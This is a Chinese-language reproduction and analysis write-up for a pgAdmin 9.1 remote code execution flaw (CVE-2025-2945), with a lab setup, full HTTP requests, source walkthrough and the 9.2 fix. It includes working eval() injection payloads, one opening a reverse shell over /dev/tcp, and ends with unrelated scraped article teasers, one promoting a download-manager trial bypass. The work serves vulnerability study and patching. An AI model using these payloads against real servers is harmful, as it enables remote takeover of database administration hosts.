news 2026/4/16 17:12:03

pgAdmin 后台命令执行漏洞复现及分析(CVE-2025-2945)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
pgAdmin 后台命令执行漏洞复现及分析(CVE-2025-2945)

环境搭建

可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin4

docker network create pg-network# 创建容器网络docker run-d--name postgres--network pg-network-ePOSTGRES_USER=postgres-ePOSTGRES_PASSWORD=postgres123-ePOSTGRES_DB=testdb-p5432:5432postgres:15docker run-d--name pgadmin--network pg-network-e'PGADMIN_DEFAULT_EMAIL=test@example.com'-e'PGADMIN_DEFAULT_PASSWORD=123456'-p5050:80docker.io/dpage/pgadmin4:9.1.0docker network inspect pg-network# 查看哪些容器在使用这个网络docker network rm pg-network# 删除指定网络

漏洞复现

/sqleditor/query_tool/download/

前提:登录 pgAdmin 获取有效 session 和 CSRF Token

  1. 调用接口 /misc/workspace/adhoc_connect_server

    功能:临时连接到 PostgreSQL 数据库服务器

    返回:sid(服务器 ID)和 did(数据库 ID)

  2. 调用接口 /misc/workspace/adhoc_connect_server

    功能:初始化一个 SQL 编辑器会话,创建事务

    参数:

    • trans_id:事务 ID,随机数(后续请求需使用同一个值)
    • sgid:服务器组 ID,通常是 1
    • sid:服务器 ID(步骤 1 获取)
    • did:数据库 ID(步骤 1 获取)
  3. 调用接口 /sqleditor/query_tool/download/{trans_id}

    功能:导出 SQL 查询结果为 CSV 文件下载

    漏洞:query_commited 参数被 eval() 执行,导致 RCE

步骤 1:连接数据库服务器

POST/misc/workspace/adhoc_connect_server HTTP/1.1Host:127.0.0.1:5050Content-Length:348X-pgA-CSRFToken:IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0NzgAccept:application/json,text/plain,*/* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/json Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close {"sid":null,"did":"testdb","user":"postgres","server_name":"postgres","host":"postgres","port":"5432","username":"test","role":null,"password":"postgres123","connection_params":[{"name":"sslmode","value":"prefer","keyword":"sslmode","cid":"c19"},{"name":"connect_timeout","value":10,"keyword":"connect_timeout","cid":"c20"}],"connection_refresh":0}

返回:sid​(服务器 ID)和did​(数据库 ID)

步骤 2:初始化 SQL 编辑器
POST/sqleditor/initialize/sqleditor/1234567/1/1/16384HTTP/1.1Host:127.0.0.1:5050X-pgA-CSRFToken:IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0NzgAccept:application/json,text/plain,*/* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 102 { "user": "postgres", "password": "postgres123", "role": "", "dbname": "testdb" }

步骤 3:触发漏洞
POST/sqleditor/query_tool/download/1234567HTTP/1.1Host:127.0.0.1:5050X-pgA-CSRFToken:IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0NzgAccept:application/json,text/plain,*/* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 67 {"query":"SELECT 1;","query_commited":"open('/tmp/20251208', 'w')"}

实现 反弹 shell

POST/sqleditor/query_tool/download/1234567HTTP/1.1Host:127.0.0.1:5050X-pgA-CSRFToken:IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0NzgAccept:application/json,text/plain,*/* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 130 {"query":"SELECT 1;","query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/host.docker.internal/6666 0>&1\"')"}

/cloud/deploy

这个接口需要用到 pgAdmin 已配置 Google Cloud 认证 为了方便进行验证,我们可以注释掉相关代码然后进行复现,首先是概念性验证,直接通过命令行方式进行验证

docker exec-it-u root pgadmin"/bin/bash"# 通过 root 权限进入容器内部,因为需要对文件进行注释操作 FILE="/pgadmin4/pgacloud/providers/google.py"sed-i's/credentials = self._get_credentials/#&/'$FILE sed-i's/service = discovery.build/#&/'$FILE sed-i's/credentials=credentials)/#&/'/pgadmin4/pgacloud/providers/google.py # 注释掉获取凭证和建立连接的操作 sed-n'135,140p'/pgadmin4/pgacloud/providers/google.py/venv/bin/python/pgadmin4/pgacloud/pgacloud.py google create-instance \--project test \--name test \--instance-type db-f1-micro \--storage-size10\--high-availability"__import__('os').system('id > /tmp/google_pwned.txt')"

可以看到成功执行命令

帮助网安学习,全套资料S信领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

希望从 web 层面更清晰的看到命令执行的效果,还需要对两行代码进行注释,注释后再重启 docker 容器

FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py"sed-i's/google_obj = pickle.loads/#&/'$FILE sed-i"s/env\['GOOGLE_CREDENTIALS'\] = /#&/"$FILE docker restart pgadmin

这里先简单解释一下为什么要注释这一部分: Web 接口需要 session 中有 Google 认证信息,必须先在 pgAdmin 界面完成 Google OAuth 登录

POST/cloud/deploy HTTP/1.1Host:127.0.0.1:5050X-pgA-CSRFToken:IjJmMDYxMDJkZDVhNmQyMzRjNzhhNzYxOWJjMzU5NmJmYzIxZWQ0ZjQi.aTegGw.d2HRuq3wKWyIInqs4P9WiDo32goAccept:application/json,text/plain,*/* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s= Connection: close Content-Type: application/json Content-Length: 648 { "cloud": "google", "secret": { "gid": "1", "oid": null, "client_secret_file": "/tmp/test.json" }, "instance_details": { "name": "test-instance", "project": "test-project", "region": "us-central1", "db_version": "POSTGRES_14", "instance_type": "db-f1-micro", "storage_type": "PD_SSD", "storage_size": 10, "public_ips": "0.0.0.0/0", "availability_zone": "us-central1-a", "secondary_availability_zone": "us-central1-b", "high_availability": "__import__('os').system('id > /tmp/pwned.txt')" }, "db_details": { "gid": 1, "db_password": "test123" } }

漏洞分析

我们可以从 https://pgadmin-archive.postgresql.org/pgadmin4/v9.1/source/index.html 下载源代码进行审计分析

/sqleditor/query_tool/download/

web/pgadmin/misc/workspaces_init_.py#adhoc_connect_server

  • 验证连接参数
  • 查找或创建服务器记录
  • 建立到 PostgreSQL 的实际连接
  • 返回 sid(服务器ID)和 did(数据库ID)

web/pgadmin/tools/sqleditor_init_.py

  • 创建 QueryToolCommand 对象

  • 建立数据库连接

  • 将命令对象序列化后存入 session[‘gridData’][trans_id]

    ★★★ 关键:将命令对象存入 session ★★★

    步骤3的 check_transaction_status() 函数会检查 session[‘gridData’] 中是否存在对应的 trans_id
    如果不存在,会返回 ERROR_MSG_TRANS_ID_NOT_FOUND 错误,无法继续执行

  • 返回连接 ID 和服务器版本

web/pgadmin/tools/sqleditor_init_.py#start_query_download_tool

/cloud/deploy

web/pgadmin/misc/cloud_init_.py#deploy_on_cloud

/misc/cloud/__init__.py → 路由入口 /cloud/deploy 接收用户的云部署请求,根据 cloud 字段分发到对应的部署函数。

web/pgadmin/misc/cloud/google_init_.py#deploy_on_google

/misc/cloud/google.py → deploy_on_google() 函数

  1. 构建命令行参数(用户输入的 high_availability 被直接放入参数)
  2. 创建 BatchProcess 后台进程
  3. 启动子进程执行 pgacloud.py

web/pgacloud/pgacloud.py

pgacloud.py 会动态加载 providers/ 目录下的所有 provider 模块,然后解析命令行参数,最后根据 provider 和 command 调用对应的函数

命令 pgacloud.py google create-instance --high-availability “恶意代码”

  • load_providers()​ → 加载providers/google.py​,调用load()​ 返回GoogleProvider​ 实例

  • get_args()​ → 解析参数,args.provider='google'​,args.command='create-instance'​,args.high_availability='恶意代码'

  • execute_command()​ → 调用GoogleProvider.commands()['create_instance'](args)

web/pgacloud/providers/google.py

cmd_create_instance() 内部调用 _create_google_postgresql_instance() 最后触发了漏洞

漏洞修复

接口 /sqleditor/query_tool/download/ 修复方案

9.1 版本代码中使用eval()​函数来处理用户输入的query_commited​参数,eval()​会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval()​函数,改用安全的字符串比较方式来判断参数值。首先检测参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true'​或'1'​。如果参数是布尔型则直接使用该值。

接口 /cloud/deploy 修复方案

9.1 版本代码中使用eval()​函数来处理用户输入的high_availability​参数,eval()​会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval()​函数,改用安全的字符串比较方式来判断参数值。首先检查参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true'​或'1'​。如果参数是布尔型则直接使用该值。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 21:40:32

57、Linux 硬件问题全解析

Linux 硬件问题全解析 1. 驱动选项设置 在 Linux 系统中,对于相同设备(如两块以太网卡),有两种设置驱动选项的方式: - 内核选项 :当驱动程序被编译进内核时,可通过 /etc/lilo.conf 中的 append 选项将驱动选项传递给内核。例如,使用以下命令告知内核为以太设备…

作者头像 李华
网站建设 2026/4/16 10:18:42

IDM无限试用使用指南:告别30天限制的实用解决方案

还在为IDM试用期结束而烦恼吗?每次下载大文件时看到"试用期剩余0天"的提示,是不是让你头疼不已?今天我要分享一个实用的解决方案,让你有效管理IDM试用期的困扰!🚀 【免费下载链接】IDM-Activatio…

作者头像 李华
网站建设 2026/4/16 10:16:14

GP2040-CE开源固件:重新定义游戏控制器的无限可能

GP2040-CE作为一款革命性的开源游戏控制器固件,正在改变DIY爱好者和游戏玩家对控制器的认知。基于Raspberry Pi Pico平台,这款固件不仅提供了极致的性能表现,更赋予了用户前所未有的定制自由。无论你是想要打造专业级竞技装备,还是…

作者头像 李华
网站建设 2026/4/16 13:32:11

RapidJSON性能突破:从架构解析到实战优化的完整指南

RapidJSON性能突破:从架构解析到实战优化的完整指南 【免费下载链接】rapidjson A fast JSON parser/generator for C with both SAX/DOM style API 项目地址: https://gitcode.com/GitHub_Trending/ra/rapidjson 还在为JSON处理性能瓶颈而困扰?面…

作者头像 李华
网站建设 2026/4/16 10:17:25

大专会计就业规划:上岗必考7大证书盘点与企业刚需解析

会计行业对证书的要求较高,尤其是大专学历的从业者,更需要通过考取高含金量证书提升竞争力。以下从企业需求角度,盘点会计岗位必备的7大证书,并解析其适用场景与考试要求。1. 初级会计职称企业刚需程度:★★★★★ 适用…

作者头像 李华
网站建设 2026/4/16 10:16:43

EmotiVoice语音缓存机制优化:减少重复请求开销

EmotiVoice语音缓存机制优化:减少重复请求开销 在当前AI语音交互日益频繁的背景下,文本转语音(TTS)系统已不再是“能出声就行”的基础功能模块,而是直接影响用户体验的核心组件。从智能音箱的一句唤醒回应,…

作者头像 李华